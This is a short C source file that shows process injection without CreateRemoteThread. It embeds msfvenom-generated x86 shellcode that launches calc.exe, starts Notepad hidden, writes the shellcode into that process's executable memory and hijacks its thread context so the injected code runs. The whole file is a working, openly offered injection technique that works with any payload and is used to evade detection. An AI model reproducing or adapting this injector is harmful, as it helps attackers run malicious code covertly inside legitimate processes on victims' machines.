Run shell code in another process without CreateRemoteThread

NotCreateRemoteThread.c

#pragma comment(lib, "Shell32.lib")
#include <windows.h>
#include <shlobj.h>

// msfvenom -p windows/exec -a x86 --platform windows -f c cmd=calc.exe
int buf_len = 193;
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x6a\x01\x8d\x85\xb2\x00\x00\x00\x50\x68\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
"\x00\x53\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

int CALLBACK WinMain(_In_ HINSTANCE hInstance, _In_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nCmdShow)
{
	unsigned char *ptr = NULL;
	STARTUPINFO si;
	PROCESS_INFORMATION pi;
	WCHAR szNotepadPath[MAX_PATH];
	CONTEXT context;

	ZeroMemory(&context, sizeof(context));
	ZeroMemory(&pi, sizeof(pi));
	ZeroMemory(&si, sizeof(si));
	si.cb = sizeof(si);

	if (SHGetSpecialFolderPath(NULL, szNotepadPath, CSIDL_SYSTEMX86, FALSE))
	{
		wcscat_s(szNotepadPath, MAX_PATH, L"\\Notepad.exe");
		si.dwFlags = STARTF_USESHOWWINDOW;
		si.wShowWindow = SW_HIDE;
		if (CreateProcess(NULL, szNotepadPath, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
		{
			if ((ptr = VirtualAllocEx(pi.hProcess, NULL, buf_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) != NULL)
			{
				WriteProcessMemory(pi.hProcess, ptr, buf, buf_len, NULL);
				context.ContextFlags = CONTEXT_CONTROL | CONTEXT_i486;
				if (GetThreadContext(pi.hThread, &context))
				{
					context.Eip = (DWORD)ptr;
					context.ContextFlags = CONTEXT_CONTROL | CONTEXT_i486;
					SetThreadContext(pi.hThread, &context);
				}
				CloseHandle(pi.hProcess);
				CloseHandle(pi.hThread);
			}
		}
	}

	return 0;
}